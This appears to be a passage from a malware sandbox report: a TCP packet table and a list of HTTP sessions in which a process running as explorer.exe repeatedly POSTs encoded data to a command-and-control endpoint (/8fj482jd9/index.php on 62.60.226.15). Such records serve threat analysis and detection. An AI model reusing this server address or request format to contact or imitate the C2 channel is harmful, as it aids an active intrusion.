Dec 16, 2024 15:29:54.891325951 CET	80	49787	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:54.891407013 CET	49787	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:54.891597033 CET	49787	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:54.892097950 CET	80	49786	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:54.892175913 CET	49786	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:55.012064934 CET	80	49787	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:56.163078070 CET	80	49787	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:56.163703918 CET	49787	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:57.786751032 CET	49787	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:57.787197113 CET	49788	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:57.907182932 CET	80	49788	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:57.907200098 CET	80	49787	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:57.907285929 CET	49787	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:57.907295942 CET	49788	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:57.907567024 CET	49788	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:58.027443886 CET	80	49788	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:59.175875902 CET	80	49788	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:59.176037073 CET	49788	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:00.692734003 CET	49789	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:00.692734003 CET	49788	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:00.813189983 CET	80	49789	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:00.813308001 CET	49789	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:00.813570023 CET	49789	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:00.813679934 CET	80	49788	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:00.814089060 CET	49788	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:00.933374882 CET	80	49789	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:02.089543104 CET	80	49789	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:02.089631081 CET	49789	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:03.723893881 CET	49789	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:03.724215031 CET	49790	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:03.844136000 CET	80	49790	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:03.844156981 CET	80	49789	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:03.844224930 CET	49790	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:03.844271898 CET	49789	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:03.844510078 CET	49790	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:03.964467049 CET	80	49790	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:05.282505989 CET	80	49790	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:05.282732964 CET	49790	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:06.786593914 CET	49790	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:06.786600113 CET	49791	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:06.906667948 CET	80	49791	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:06.906934977 CET	80	49790	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:06.906951904 CET	49791	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:06.907020092 CET	49790	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:06.907111883 CET	49791	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:07.026998997 CET	80	49791	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:08.180849075 CET	80	49791	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:08.182138920 CET	49791	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:09.802690029 CET	49791	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:09.803133011 CET	49792	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:09.924989939 CET	80	49792	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:09.925229073 CET	80	49791	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:09.925282955 CET	49791	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:09.925286055 CET	49792	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:09.927575111 CET	49792	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:10.049376965 CET	80	49792	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:11.266268969 CET	80	49792	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:11.266405106 CET	49792	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:12.772713900 CET	49793	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:12.772780895 CET	49792	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:12.893234968 CET	80	49793	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:12.893326044 CET	49793	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:12.893590927 CET	80	49792	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:12.893666029 CET	49793	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:12.893707991 CET	49792	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:13.014584064 CET	80	49793	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:14.165957928 CET	80	49793	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:14.166027069 CET	49793	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:15.787467957 CET	49793	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:15.787946939 CET	49794	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:15.908948898 CET	80	49794	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:15.909027100 CET	49794	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:15.909091949 CET	80	49793	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:15.909135103 CET	49793	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:15.909370899 CET	49794	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:16.029133081 CET	80	49794	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:17.181735039 CET	80	49794	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:17.187702894 CET	49794	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:18.692873001 CET	49794	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:18.693054914 CET	49795	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:18.812968016 CET	80	49795	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:18.813055038 CET	80	49794	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:18.813123941 CET	49795	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:18.813208103 CET	49794	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:18.813699007 CET	49795	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:18.933911085 CET	80	49795	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:20.087594032 CET	80	49795	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:20.087650061 CET	49795	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:21.708230019 CET	49795	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:21.708606005 CET	49796	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:21.828505039 CET	80	49796	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:21.828596115 CET	49796	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:21.828835011 CET	49796	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:21.829020023 CET	80	49795	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:21.829071999 CET	49795	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:21.948607922 CET	80	49796	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:23.097453117 CET	80	49796	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:23.097527027 CET	49796	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:24.615386963 CET	49796	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:24.615797997 CET	49797	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:24.735610962 CET	80	49797	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:24.735632896 CET	80	49796	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:24.735742092 CET	49796	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:24.735835075 CET	49797	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:24.736413956 CET	49797	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:24.856540918 CET	80	49797	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:26.007086992 CET	80	49797	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:26.007164001 CET	49797	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:27.630059958 CET	49797	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:27.637624025 CET	49798	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:27.751364946 CET	80	49797	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:27.751432896 CET	49797	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:27.758932114 CET	80	49798	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:27.759016991 CET	49798	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:27.759300947 CET	49798	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:27.879015923 CET	80	49798	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:29.046945095 CET	80	49798	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:29.047734022 CET	49798	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:30.560859919 CET	49798	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:30.561229944 CET	49799	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:30.681051970 CET	80	49799	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:30.681164026 CET	49799	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:30.681247950 CET	80	49798	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:30.681323051 CET	49798	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:30.681500912 CET	49799	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:30:30.803670883 CET	80	49799	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:31.953548908 CET	80	49799	62.60.226.15	192.168.2.10
Dec 16, 2024 15:30:31.953634977 CET	49799	80	192.168.2.10	62.60.226.15

HTTP Request Dependency Graph

62.60.226.15

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49714	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:26:43.954461098 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:26:45.224833965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49715	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:26:46.858215094 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:26:48.353238106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49717	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:26:50.092807055 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:26:51.362000942 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49719	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:26:52.998887062 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:26:54.291321993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49721	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:26:56.047297001 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:26:57.320094109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49724	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:26:59.122020006 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:00.400932074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49726	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:02.139483929 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:03.413563013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49729	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:05.123493910 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:06.394505024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49730	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:08.249468088 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:09.527472019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49731	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:11.172192097 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:12.442954063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49732	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:14.186387062 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:15.474734068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49733	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:17.108700991 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:18.378388882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49735	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:20.123505116 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:21.397772074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49736	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:23.032721996 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:24.316565037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49737	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:26.249377966 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:27.406558990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49738	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
